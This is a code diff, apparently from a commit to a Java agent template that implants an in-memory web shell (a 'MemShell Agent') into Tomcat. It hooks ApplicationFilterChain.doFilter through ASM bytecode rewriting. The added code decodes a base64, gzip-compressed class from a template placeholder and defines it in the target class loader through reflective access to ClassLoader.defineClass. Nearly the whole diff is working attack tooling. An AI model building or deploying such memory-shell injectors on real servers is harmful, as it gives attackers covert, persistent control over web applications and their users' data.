22
33import org .objectweb .asm .*;
44
5+ import java .io .ByteArrayInputStream ;
6+ import java .io .ByteArrayOutputStream ;
57import java .lang .instrument .ClassFileTransformer ;
68import java .lang .instrument .Instrumentation ;
79import java .security .ProtectionDomain ;
10+ import java .util .zip .GZIPInputStream ;
811
912/**
1013 * @author ReaJason
@@ -18,6 +21,10 @@ public static String getClassName() {
1821 return "{{advisorName}}" ;
1922 }
2023
24+ public static String getBase64String () {
25+ return "{{base64String}}" ;
26+ }
27+
2128 public static void premain (String args , Instrumentation inst ) throws Exception {
2229 launch (inst );
2330 }
@@ -33,16 +40,17 @@ private static void launch(Instrumentation inst) throws Exception {
3340 String name = allLoadedClass .getName ();
3441 if (TARGET_CLASS .replace ("/" , "." ).equals (name )) {
3542 inst .retransformClasses (allLoadedClass );
43+ System .out .println ("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter" );
3644 }
3745 }
38- System .out .println ("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter" );
3946 }
4047
4148 @ Override
4249 @ SuppressWarnings ("all" )
4350 public byte [] transform (final ClassLoader loader , String className , Class <?> classBeingRedefined ,
4451 ProtectionDomain protectionDomain , byte [] bytes ) {
4552 if (TARGET_CLASS .equals (className )) {
53+ defineTargetClass (loader );
4654 try {
4755 ClassReader cr = new ClassReader (bytes );
4856 ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES ) {
@@ -102,23 +110,10 @@ public void visitCode() {
102110 mv .visitTryCatchBlock (tryStart , tryEnd , catchHandler , "java/lang/Throwable" );
103111
104112 mv .visitLabel (tryStart );
105- mv .visitLdcInsn (className );
106- mv .visitInsn (Opcodes .ICONST_1 );
107- mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
108- "java/lang/ClassLoader" ,
109- "getSystemClassLoader" ,
110- "()Ljava/lang/ClassLoader;" ,
111- false );
112- mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
113- "java/lang/Class" ,
114- "forName" ,
115- "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;" ,
116- false );
117- mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
118- "java/lang/Class" ,
119- "newInstance" ,
120- "()Ljava/lang/Object;" ,
121- false );
113+ String internalClassName = className .replace ('.' , '/' );
114+ mv .visitTypeInsn (Opcodes .NEW , internalClassName );
115+ mv .visitInsn (Opcodes .DUP );
116+ mv .visitMethodInsn (Opcodes .INVOKESPECIAL , internalClassName , "<init>" , "()V" , false );
122117 mv .visitInsn (Opcodes .SWAP );
123118 mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
124119 "java/lang/Object" ,
@@ -167,4 +162,62 @@ private int getArgIndex(final int arg) {
167162 return index ;
168163 }
169164 }
165+
166+ @ SuppressWarnings ("all" )
167+ public static byte [] decodeBase64 (String base64Str ) {
168+ Class <?> decoderClass ;
169+ try {
170+ decoderClass = Class .forName ("java.util.Base64" );
171+ Object decoder = decoderClass .getMethod ("getDecoder" ).invoke (null );
172+ return (byte []) decoder .getClass ().getMethod ("decode" , String .class ).invoke (decoder , base64Str );
173+ } catch (Exception ignored ) {
174+ try {
175+ decoderClass = Class .forName ("sun.misc.BASE64Decoder" );
176+ return (byte []) decoderClass .getMethod ("decodeBuffer" , String .class ).invoke (decoderClass .newInstance (), base64Str );
177+ } catch (Exception e ) {
178+ throw new RuntimeException (e );
179+ }
180+ }
181+ }
182+
183+ @ SuppressWarnings ("all" )
184+ public static byte [] gzipDecompress (byte [] compressedData ) {
185+ ByteArrayOutputStream out = new ByteArrayOutputStream ();
186+ GZIPInputStream gzipInputStream = null ;
187+ try {
188+ gzipInputStream = new GZIPInputStream (new ByteArrayInputStream (compressedData ));
189+ byte [] buffer = new byte [4096 ];
190+ int n ;
191+ while ((n = gzipInputStream .read (buffer )) > 0 ) {
192+ out .write (buffer , 0 , n );
193+ }
194+ return out .toByteArray ();
195+ } catch (Exception e ) {
196+ throw new RuntimeException (e );
197+ } finally {
198+ try {
199+ if (gzipInputStream != null ) {
200+ gzipInputStream .close ();
201+ }
202+ out .close ();
203+ } catch (Exception ignored ) {
204+ }
205+ }
206+ }
207+
208+ @ SuppressWarnings ("all" )
209+ public void defineTargetClass (ClassLoader loader ) {
210+ try {
211+ loader .loadClass (getClassName ());
212+ return ;
213+ } catch (ClassNotFoundException ignored ) {
214+ }
215+ byte [] classBytecode = gzipDecompress (decodeBase64 (getBase64String ()));
216+ try {
217+ java .lang .reflect .Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
218+ defineClass .setAccessible (true );
219+ defineClass .invoke (loader , classBytecode , 0 , classBytecode .length );
220+ } catch (Exception ignored ) {
221+ }
222+ }
170223}
0 commit comments